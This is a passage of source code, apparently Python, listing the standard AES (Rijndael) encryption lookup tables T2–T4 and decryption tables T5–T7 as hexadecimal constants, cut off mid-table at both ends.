0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a ] | |
116 | T2 = [ 0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616 ] | |
117 | T3 = [ 0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16 ] | |
118 | T4 = [ 0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c ] | |
119 | ||
120 | # Transformations for decryption | |
121 | T5 = [ 0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742 ] | |
122 | T6 = [ 0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857 ] | |
123 | T7 = [ 0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 